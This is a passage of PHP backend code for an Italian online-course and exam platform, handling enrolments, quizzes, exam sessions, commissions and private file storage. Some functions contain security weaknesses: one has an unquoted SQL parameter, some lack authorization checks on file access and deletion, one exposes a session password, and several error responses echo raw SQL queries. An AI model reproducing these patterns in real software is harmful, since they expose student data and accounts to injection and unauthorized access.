			WHERE corso_esame_domanda.id_modulo = $id_modulo AND corso_esame_risposta.corretta = 1";
			$domande_db = $this->db->SafeFetch($query);

			foreach ($domande_db as $key => $item) {
				if (!isset($risposte_quiz[intval($item['id_domanda'])])) {
					$domande_db[$key]['id_risposta_studente'] = -1;
				} else {
					$domande_db[$key]['id_risposta_studente'] = $risposte_quiz[intval($item['id_domanda'])];
				}
			}
			return $this->printMessage($this->responseMessage($domande_db, true));
		} else {
			return $this->printMessage($this->responseMessage("Non hai ancora completato il quiz, non puoi ancora ricevere le risposte corrette!", false));
		}

	}



	function checkCorsoCompletato($_id_corso, $_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_corso = $this->db->quoteInt($_id_corso);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * FROM iscrizioni_studenti_corsi WHERE id_corso = $id_corso AND id_user = $id_user AND id_iscrizione = $id_iscrizione";
		$res = $this->db->SafeFetchOne($query);
		if ($res && $res['seguito'] && intval($res['seguito']) == 1) {
			return $this->printMessage($this->responseMessage(true, true));
		}

		$query_stu = "SELECT * FROM corso_lezione_studente WHERE id_corso = $id_corso AND id_user = $id_user AND id_iscrizione = $id_iscrizione";
		$lezioni_stu = $this->db->SafeFetch($query_stu);
		$query = "SELECT * FROM corso_lezione WHERE id_corso = $id_corso";
		$lezioni = $this->db->SafeFetch($query);


		for ($i = 0; $i < count($lezioni); $i++) {
			if (intval($lezioni[$i]['time']) == -1 && (intval($lezioni[$i]['quiz']) == 0 || intval($lezioni[$i]['quiz_time']) == -1)) {
				continue;
			}

			$check = true;
			for ($k = 0; $k < count($lezioni_stu); $k++) {
				//echo $lezioni[$i]['id_lezione']." == ". $lezioni_stu[$k]['id_lezione']." --- ";
				if ($lezioni[$i]['id_lezione'] == $lezioni_stu[$k]['id_lezione']) {
					//echo intval($lezioni_stu[$k]['time_check'])." <-> ". intval($lezioni_stu[$k]['quiz_check'])." --- ";
					if (intval($lezioni[$i]['time']) > -1) {
						if (intval($lezioni_stu[$k]['time_check']) == 1) {
							if (intval($lezioni[$i]['quiz']) == 1) {
								if (intval($lezioni_stu[$k]['quiz_check'] == 1)) {
									$check = false;
								} else {
									return $this->printMessage($this->responseMessage(false, true));
								}
							} else {
								$check = false;
							}
						} else {
							return $this->printMessage($this->responseMessage(false, true));
						}
					} else {
						if (intval($lezioni[$i]['quiz']) == 1) {
							if (intval($lezioni_stu[$k]['quiz_check'] == 1)) {
								$check = false;
							} else {
								return $this->printMessage($this->responseMessage(false, true));
							}
						} else {
							$check = false;
						}
					}
				}
			}
			if ($check) {
				return $this->printMessage($this->responseMessage(false, true));
			}
		}

		if ($this->db->SafeExec("UPDATE iscrizioni_studenti_corsi SET seguito=1, data_seguito = NOW() WHERE id_user=$id_user AND id_corso = $id_corso;")) {
			return $this->printMessage($this->responseMessage(true, true));
		} else {
			return $this->printMessage($this->responseMessage("Errore in fase di memorizzazione della fruizione del corso, contatta la segreteria!", false));
		}

	}

	function checkAnagrafica($id_user)
	{
		$query = "SELECT * FROM studenti_user_info WHERE id_user = $id_user";
		$res = $this->db->SafeFetchOne($query);
		if (
			$res && $res['nome'] != "" && $res['cognome'] != "" && $res['cdf'] != "" && $res['indirizzo'] != "" && $res['nazionalita'] != "" && $res['nazione_nascita'] != "" && $res['datanascita'] != ""
			&& $res['comune_nascita'] != "" && $res['citta'] != "" && $res['cap'] != "" && $res['telefono'] != ""
		) {
			return true;
		} else {
			return false;
		}
	}


	function getCorsi()
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);

		$query = "SELECT *, corso.id_corso 
		FROM iscrizioni_studenti_corsi 
		LEFT JOIN corso on iscrizioni_studenti_corsi.id_corso = corso.id_corso
		-- LEFT JOIN corso_lezione_studente on corso_lezione_studente.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE iscrizioni_studenti_corsi.id_user = $id_user";

		// $query = "SELECT c.id_corso, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.esame_attivo, c.esame_libero, 
		// (SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso AND u.id_centro = $id_centro) AS totale_iscritti,
		// (SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso and sub_u.id_centro = $id_centro) AS totale_sessioni  
		// FROM centri_corsi_assegnati AS cc
		// LEFT JOIN corso AS c ON cc.id_corso = c.id_corso where c.attivo=1 AND cc.id_centro = $id_centro";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getEsami()
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);

		$query = "SELECT corso_esame.*, corso_esame.id_esame, iscrizioni_studenti_esami.id_sessione, iscrizioni_studenti_esami.id_iscrizione, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.data_esito, sessione.data_inizio_sessione, sessione.data_fine_sessione
		-- ,(SELECT COUNT(*) FROM corso_esame_modulo AS sub_e WHERE sub_e.id_esame = corso_esame.id_esame) AS totale_moduli  
		FROM iscrizioni_studenti_esami 
		LEFT JOIN corso_esame on iscrizioni_studenti_esami.id_esame = corso_esame.id_esame
		LEFT JOIN sessione on iscrizioni_studenti_esami.id_sessione = sessione.id_sessione
		-- LEFT JOIN corso_esame_modulo on corso_esame_modulo.id_esame = iscrizioni_studenti_esami.id_esame 
		WHERE iscrizioni_studenti_esami.id_user = $id_user";

		// $query = "SELECT c.id_corso, c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.esame_attivo, c.esame_libero, 
		// (SELECT COUNT(*) FROM iscrizioni_studenti_corsi AS sub_c JOIN user AS u ON sub_c.id_user = u.id_user WHERE sub_c.id_corso = c.id_corso AND u.id_centro = $id_centro) AS totale_iscritti,
		// (SELECT COUNT(*) FROM corso_edizione AS sub_u WHERE sub_u.id_corso = c.id_corso and sub_u.id_centro = $id_centro) AS totale_sessioni  
		// FROM centri_corsi_assegnati AS cc
		// LEFT JOIN corso AS c ON cc.id_corso = c.id_corso where c.attivo=1 AND cc.id_centro = $id_centro";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getEsame($_id_esame, $_id_iscrizione)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_esame = $this->db->quoteInt($_id_esame);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT c.id_esame, cc.id_sessione, s.data_inizio_sessione, s.data_fine_sessione, s.password, c.insert_time, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata,  c.erogazione
		FROM iscrizioni_studenti_esami AS cc
		LEFT JOIN centri_esami_assegnati AS cca ON cc.id_esame = cca.id_esame
		LEFT JOIN corso_esame AS c ON cc.id_esame = c.id_esame 
		LEFT JOIN sessione AS s ON cc.id_sessione = s.id_sessione
		where cc.id_iscrizione = $id_iscrizione AND c.attivo=1 AND (cca.id_centro = $id_centro OR c.id_centro=$id_centro) AND c.id_esame = $id_esame";
		//echo $query; die;
		$res = $this->db->SafeFetchOne($query);
		if (!$res['id_esame']) {
			return $this->printMessage($this->responseMessage(false, false));
		}
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getModuliEsame($_id_esame, $_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_esame = $this->db->quoteInt($_id_esame);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$query = $query = "SELECT 
			corso_esame_modulo.*,
			(SELECT tentativi_utilizzati 
				FROM corso_esame_modulo_studente AS sub_e 
				WHERE sub_e.id_modulo = corso_esame_modulo.id_modulo 
				AND id_user = $id_user AND id_iscrizione = $id_iscrizione) AS tentativi_utilizzati,
				(SELECT superato 
				FROM corso_esame_modulo_studente AS sub_e 
				WHERE sub_e.id_modulo = corso_esame_modulo.id_modulo 
				AND id_user = $id_user AND id_iscrizione = $id_iscrizione) AS superato
		FROM corso_esame_modulo 
		
		WHERE corso_esame_modulo.id_esame = $id_esame";
		$res = $this->db->SafeFetch($query);

		for ($i = 0; $i < count($res); $i++) {
			$id_modulo = $this->db->quoteInt($res[$i]['id_modulo']);
			$query = "SELECT COUNT(id_modulo) as t FROM corso_esame_modulo_tentativi_studente WHERE id_modulo = $id_modulo AND id_user = $id_user";
			$res[$i]['tentativi'] = intval($res[$i]['tentativi']);
			$tentativi_acquistati = $this->db->SafeFetchOne($query);
			$res[$i]['tentativi'] += $tentativi_acquistati['t'];
			$res[$i]['tentativi_utilizzati'] = intval($res[$i]['tentativi_utilizzati']);
			$res[$i]['superato'] = intval($res[$i]['superato']);

		}
		return $this->printMessage($this->responseMessage($res, true));
	}





	function getCorso($_id_corso)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_corso = $this->db->quoteInt($_id_corso);
		$query = "SELECT c.id_corso, cc.id_edizione, c.insert_time,	c.avatar_location, c.titolo, c.categoria, c.colore, c.prezzo, c.descrizione, c.finalita, c.programma, c.programma, c.destinatari,  c.contenuti, c.caratteristiche,  c.durata, c.tipologia, c.erogazione, c.esame_attivo, c.esame_libero 
		FROM iscrizioni_studenti_corsi AS cc
		LEFT JOIN centri_corsi_assegnati AS cca ON cc.id_corso = cca.id_corso
		LEFT JOIN corso AS c ON cc.id_corso = c.id_corso where c.attivo=1 AND (cca.id_centro = $id_centro OR c.id_centro = $id_centro) AND c.id_corso = $id_corso";
		$res = $this->db->SafeFetchOne($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getLezioniEdizione($_id_corso, $_id_edizione)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_corso = $this->db->quoteInt($_id_corso);
		$id_edizione = $this->db->quoteInt($_id_edizione);

		// $query = "SELECT * FROM corso_edizione_lezione
		// LEFT JOIN iscrizioni_studenti_corsi ON iscrizioni_studenti_corsi.id_edizione = corso_edizione_lezione.id_edizione
		// where iscrizioni_studenti_corsi.id_edizione = $id_edizione AND iscrizioni_studenti_corsi.id_corso = $id_corso";
		$query = "SELECT * 
		FROM corso_edizione_lezione 
		WHERE id_edizione = $id_edizione";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}
	function getIscrizione($_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * 
		FROM iscrizioni_studenti_corsi 
		WHERE id_iscrizione = $id_iscrizione AND id_user = $id_user";
		$res = $this->db->SafeFetchOne($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getCorsoLezioni($_id_corso)
	{
		$id_corso = $this->db->quoteInt($_id_corso);
		$query = "SELECT cl.id_lezione, cl.id_corso, cl.rating, cl.numero_domande, cl.ordine, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.quiz_time, cl.disabilita_navigazione, cl.scorrimento_automatico_slide, cl.timer_come_video, cl.timer_slide, cl.video_len, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta)) FROM corso_lezione_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_lezione_domanda AS cld WHERE cld.id_lezione = cl.id_lezione) AS paniere FROM corso_lezione AS cl WHERE cl.id_corso = $id_corso";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}
	function getModuloEsame($_id_modulo)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_modulo = $this->db->quoteInt($_id_modulo);
		$query = "SELECT cl.id_esame,cl.id_modulo, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, rating, numero_domande, 
		(SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta)) 
		FROM corso_esame_risposta AS clr 
		WHERE clr.id_domanda = cld.id_domanda ))) 
		FROM corso_esame_domanda AS cld WHERE cld.id_modulo = cl.id_modulo) AS paniere 
		FROM corso_esame_modulo AS cl WHERE cl.id_modulo = $id_modulo";
		$res = $this->db->SafeFetchOne($query);

		$query = "SELECT COUNT(id_modulo) as t FROM corso_esame_modulo_tentativi_studente WHERE id_modulo = $id_modulo AND id_user = $id_user";
		$res['tentativi'] = intval($res['tentativi']);
		$tentativi_acquistati = $this->db->SafeFetchOne($query);
		$res['tentativi'] += $tentativi_acquistati['t'];
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getUtentiCorso($_id_corso)
	{
		$id_affiliato = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_corso = $this->db->quoteInt($_id_corso);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location
		FROM iscrizioni_studenti_corsi 
		LEFT JOIN user ON user.id_user = iscrizioni_studenti_corsi.id_user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE user.user_type_id=1 AND user.id_affiliato = $id_affiliato AND corso.id_corso = $id_corso AND user.deleted = 0";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}


	function getFilesCorso($id_corso)
	{
		$this->checkCorsoCentro($id_corso);
		$res = $this->getListaFilePrivate('corso', $id_corso);
		return $this->printMessage($this->responseMessage($res, true));
	}
	function getFilesLezione($id_lezione)
	{
		//$this->checkCorsoCentro($id_corso);
		//todo: implementare controllo lezione
		$res = $this->getListaFilePrivate('lezione', $id_lezione, false);
		return $this->printMessage($this->responseMessage($res, true));
	}


	// function getCreditoCentro() {
	// 	$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
	// 	$query = "SELECT SUM(prezzo) as credito FROM centri_ordini WHERE id_user =".$id_centro;
	// 	$res= $this->db->SafeFetchOne($query);	
	// 	return $this->printMessage( $this->responseMessage($res['credito'], true) );
	// }

	// function ricaricaCredito($_credito) {
	// 	$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
	// 	$credito =  $this->db->quoteDecimal(floatval($_credito));
	// 	$descrizione =  $this->db->quoteText("Aquisto ricarica");
	// 	if ($this->db->SafeInsert("INSERT INTO centri_ordini (id_user, descrizione, prezzo) VALUES($id_centro, $descrizione, $credito);")){
	// 		return $this->printMessage( $this->responseMessage("Ricarica effettuata con successo!", true) );	
	// 	}else{
	// 		return $this->printMessage( $this->responseMessage("Non è stato possibile effettuare la ricarica, contatta la segreteria!", false) );
	// 	}
	// }
	function uploadFilesUtente($_id_user, $files)
	{


		for ($i = 0; $i < count($files); $i++) {
			$ret = $this->putFileS3Private("user", $_id_user, $files[$i]);
		}
		if ($ret) {
			return $this->printMessage($this->responseMessage("File caricato con successo!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore nel carimento del file", true));
		}

	}

	function uploadFileSessione($_id_sessione, $files)
	{


		for ($i = 0; $i < count($files); $i++) {
			$ret = $this->putFileS3Private("sessione", $_id_sessione, $files[$i]);
		}
		if ($ret) {
			return $this->printMessage($this->responseMessage("File caricato con successo!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore nel carimento del file", true));
		}

	}

	function getFileSessione($id_sessione, $filename)
	{
		$this->getFile("sessione", $id_sessione, $filename);
	}

	function getOrdini()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT centri_ordini.id_ordine, centri_ordini.id_user_affiliato, centri_ordini.completed, centri_ordini.descrizione, centri_ordini.prezzo, centri_ordini.insert_time, centri_user_info.denominazione FROM centri_ordini LEFT JOIN centri_user_info ON centri_ordini.id_user_affiliato = centri_user_info.id_user WHERE centri_ordini.id_user = " . $id_centro . " ORDER BY insert_time DESC";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getSegreteria()
	{
		$query = "SELECT * from segreteria";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getProvvigioni()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_affiliato = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT centri_ordini.id_ordine, centri_ordini.id_user_affiliato, centri_ordini.completed, centri_ordini.descrizione, centri_ordini.prezzo, centri_ordini.insert_time, centri_user_info.denominazione
		FROM centri_ordini 
		RIGHT JOIN centri_user_info ON centri_ordini.id_user_affiliato = centri_user_info.id_user 
		WHERE centri_ordini.id_user = " . $id_centro . " and centri_ordini.id_user_affiliato = " . $id_affiliato . " ORDER BY insert_time DESC";
		;
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function setProvvigioniCompleted($_id_ordini, $_sino)
	{
		$sino = $this->db->quoteInt($_sino);
		$id_ordini = (Array) json_decode($_id_ordini);

		if (count($id_ordini) == 0) {
			return $this->printMessage($this->responseMessage("Si prega di selezionare una provvigione, si prega di riprovare!", false));
		}
		$s_ordini = "( ";
		for ($i = 0; $i < count($id_ordini); $i++) {
			$s_ordini .= "id_ordine = " . $this->db->quoteInt($id_ordini[$i]);
			if (($i + 1) != count($id_ordini)) {
				$s_ordini .= " OR ";
			}
		}
		$s_ordini .= " )";
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_ordine = $this->db->quoteInt($_id_ordine);
		if ($this->db->SafeExec("UPDATE centri_ordini SET completed=$sino WHERE $s_ordini AND id_user = $id_user;")) {
			return $this->printMessage($this->responseMessage("Provvigioni aggiornate!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento delle provvigioni, si prega di riprovare! " . $s_ordini, false));
		}
	}


	function assegnaCorsoUtente($id_user, $id_corso)
	{
		$id_user_affiliato = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_corso = $this->db->quoteInt($id_corso);
		$id_user = $this->db->quoteInt($id_user);


		$corso = $this->db->SafeFetchOne("SELECT *  FROM corso where attivo=1 AND id_corso = $id_corso");
		$studente = $this->db->SafeFetchOne("SELECT *  FROM studenti_user_info where id_user = $id_user");

		$descrizione = $this->db->quoteText("Aquisto corso '" . $corso['titolo'] . "' per '" . $studente['nome'] . " " . $studente['cognome'] . "' - " . $studente['cdf']);
		$_prezzo = $corso['prezzo'];
		if ($_prezzo) {
			$prezzo = $this->db->QuoteDecimal(floatval($corso['prezzo']) * -1);
		} else {
			$prezzo = $this->db->QuoteDecimal($corso['prezzo']);
		}


		if ($this->db->SafeInsert("INSERT INTO iscrizioni_studenti_corsi (id_user, id_corso) VALUES($id_user, $id_corso);")) {
			if ($this->db->SafeInsert("INSERT INTO centri_ordini (id_user, id_user_affiliato, descrizione, prezzo, completed) VALUES($id_centro, $id_user_affiliato, $descrizione, $prezzo, 1);")) {
				return $this->printMessage($this->responseMessage("Corso acquistato e associato all'utente!", true));
			} else {
				return $this->printMessage($this->responseMessage("Non stato possibile effettuare il pagamento, contatta la segreteria!", false));
			}
		} else {
			return $this->printMessage($this->responseMessage("Non è stato possibile effetturare l'iscrizione, sembra che l'utente sia già iscritto al corso!", false));
		}
	}

	function getUserAvatarLocation($id_user)
	{
		$this->checkUserStudente($id_user);
		$res = $this->getListaFilePrivate('user_avatar', $id_user);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFilesUtente($id_user)
	{
		$this->checkUserStudente($id_user);
		$res = $this->getListaFilePrivate('user', $id_user);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFileUtente($id_user, $filename)
	{
		$this->checkUserStudente($id_user);
		$this->getFile("user", $id_user, $filename);
	}
	function cancellaFileUtente($id_user, $filename)
	{
		$this->checkUserStudente($id_user);
		$this->deleteFileS3Private("user", $id_user, $filename);
	}
	function cancellaFileSessione($id_sessione, $filename)
	{
		$this->deleteFileS3Private("sessione", $id_sessione, $filename);
	}

	/* ---------------------------------------- */
	/* ------- SUPERVISORI DEL CENTRO --------- */
	/* ---------------------------------------- */

	function getSupervisori()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		supervisori_user_info.id_user_info, supervisori_user_info.nome, supervisori_user_info.cognome, supervisori_user_info.cdf, supervisori_user_info.telefono, supervisori_user_info.cellulare, supervisori_user_info.avatar_location, 
		COUNT(sessione.id_supervisore) AS totale_sessioni
		FROM user 
		LEFT JOIN supervisori_user_info ON user.id_user = supervisori_user_info.id_user 
		LEFT JOIN sessione ON sessione.id_supervisore = user.id_user
		WHERE user.user_type_id=4 AND user.id_centro = $id_centro AND user.deleted = 0
		GROUP BY  user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		supervisori_user_info.id_user_info, supervisori_user_info.nome, supervisori_user_info.cognome, supervisori_user_info.cdf, supervisori_user_info.telefono, supervisori_user_info.cellulare, supervisori_user_info.avatar_location;";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}



	/* ---------------------------------------- */
	/* -------- SESSIONI ---------- */
	/* ---------------------------------------- */

	function getSessioni()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getSessione($_id_sessione)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore where sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro and sessione.id_sessione = $id_sessione";
		$res = $this->db->SafeFetchOne($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getSessioniCorsoAperta($_id_corso)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_esame = $this->db->quoteInt($_id_corso);
		$query = "SELECT *  
		FROM sessione JOIN corso_esame ON sessione.id_esame = corso_esame.id_esame where data_inizio_sessione < NOW() AND data_fine_sessione > NOW() AND sessione.deleted = 0 and corso_esame.attivo=1 and sessione.id_centro = $id_centro and sessione.id_esame = $id_esame";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}



	function getSessioneUtenti($_id_sessione)
	{
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.avatar_location,
		iscrizioni_studenti_sessioni.esito, iscrizioni_studenti_sessioni.durata, iscrizioni_studenti_sessioni.tentativi, iscrizioni_studenti_sessioni.invalidato, iscrizioni_studenti_sessioni.data_esito, iscrizioni_studenti_sessioni.create_time, iscrizioni_studenti_sessioni.durata, iscrizioni_studenti_sessioni.tentativi, iscrizioni_studenti_sessioni.id_iscrizione, iscrizioni_studenti_sessioni.invalidato 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_sessioni on iscrizioni_studenti_sessioni.id_user = user.id_user 
		WHERE user.user_type_id=1 AND user.deleted = 0 AND iscrizioni_studenti_sessioni.id_sessione = $id_sessione";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function inserisciSessione($_id_supervisore, $_id_corso, $_note, $_start, $_end)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_supervisore = $this->db->quoteInt($_id_supervisore);
		$id_corso = $this->db->quoteInt($_id_corso);
		$note = $this->db->quoteText($_note);
		$__start = explode("T", $_start);
		$date_s = $__start[0];
		$time_s = explode(".", $__start[1])[0];
		$start = $this->db->quoteText($date_s . " " . $time_s);
		$__end = explode("T", $_end);
		$date_e = $__end[0];
		$time_e = explode(".", $__end[1])[0];
		$end = $this->db->quoteText($date_e . " " . $time_e);
		$pwd = $this->generatePassword($id_centro);
		$password = $this->db->quoteText($pwd);
		$q = "INSERT INTO sessione (id_supervisore, id_esame, note, data_inizio_sessione, data_fine_sessione, id_centro, password) VALUES($id_supervisore, $id_corso, $note, $start, $end, $id_centro, $password);";
		if ($this->db->SafeInsert($q)) {
			return $this->printMessage($this->responseMessage("Sessione inserita con successo.", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!" . $q, false));
		}
	}

	function modificaSessione($_id_sessione, $_id_supervisore, $_id_corso, $_note, $_start, $_end, $email)
	{
		//todo: ricorda per l'associato veficare che la data attuale non si successiva alla data di inizio
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$id_supervisore = $this->db->quoteInt($_id_supervisore);
		$id_corso = $this->db->quoteInt($_id_corso);
		$note = $this->db->quoteText($_note);
		$__start = explode("T", $_start);
		$date_s = $__start[0];
		$time_s = explode(".", $__start[1])[0];
		$start = $this->db->quoteText($date_s . " " . $time_s);
		$__end = explode("T", $_end);
		$date_e = $__end[0];
		$time_e = explode(".", $__end[1])[0];
		$end = $this->db->quoteText($date_e . " " . $time_e);
		$q = "UPDATE sessione SET "
			. "id_supervisore = $id_supervisore, "
			. "id_esame = $id_corso, "
			. "data_inizio_sessione = $start, "
			. "data_fine_sessione = $end, "
			. "note = $note "
			. "WHERE sessione.id_centro = $id_centro AND sessione.id_sessione = $id_sessione;";
		if ($this->db->SafeExec($q)) {
			if ($email) {
				//todo: inserire invio email a tutti gli iscrittti
				return $this->printMessage($this->responseMessage("Sessione modificata con successo.", true));
			} else {
				return $this->printMessage($this->responseMessage("Sessione modificata con successo.", true));
			}
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!" . $q, false));
		}
	}

	function deleteSessione($_id_sessione)
	{
		//todo: ricorda per l'associato veficare che la data attuale non si successiva alla data di inizio
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_sessione = $this->db->quoteInt($_id_sessione);
		$query = "UPDATE sessione SET "
			. " deleted = 1 "
			. " WHERE sessione.id_centro = $id_centro AND sessione.id_sessione = $id_sessione;";
		if ($this->db->SafeExec($query)) {
			//todo: cancellare le iscrizioni alla sessione degli studenti e inviare email
			return $this->printMessage($this->responseMessage("Sessione eliminata con successo!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false));
		}
	}

	/* ---------------------------------------- */
	/* --------------- DOWNLOADS --------------- */
	/* ---------------------------------------- */

	function getFilesCentro()
	{
		// $id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$res = $this->getListaFilePrivate('public', "centro");
		return $this->printMessage($this->responseMessage($res, true));
	}


	function getUtentiCertificati()
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$query = "SELECT studenti_user_info.cognome, studenti_user_info.nome, studenti_user_info.cdf, user.email, studenti_user_info.cellulare, studenti_user_info.telefono, user.id_user, 
		 corso.id_corso, corso.titolo, centri_user_info.id_user as id_user_affiliato, centri_user_info.denominazione as affiliato_nome, iscrizioni_studenti_sessioni.data_esito, iscrizioni_studenti_sessioni.esito, iscrizioni_studenti_sessioni.codice_certificato  
		FROM user 
		LEFT JOIN iscrizioni_studenti_sessioni ON user.id_user = iscrizioni_studenti_sessioni.id_user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_affiliato = centri_user_info.id_user 
		LEFT JOIN sessione ON sessione.id_sessione = iscrizioni_studenti_sessioni.id_sessione 
		LEFT JOIN corso on corso.id_corso = sessione.id_corso 
		WHERE iscrizioni_studenti_sessioni.esito=1 AND user.id_centro = $id_centro AND user.deleted = 0";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	/* ---------------------------------------- */
	/* --------------- DASHBOARD--------------- */
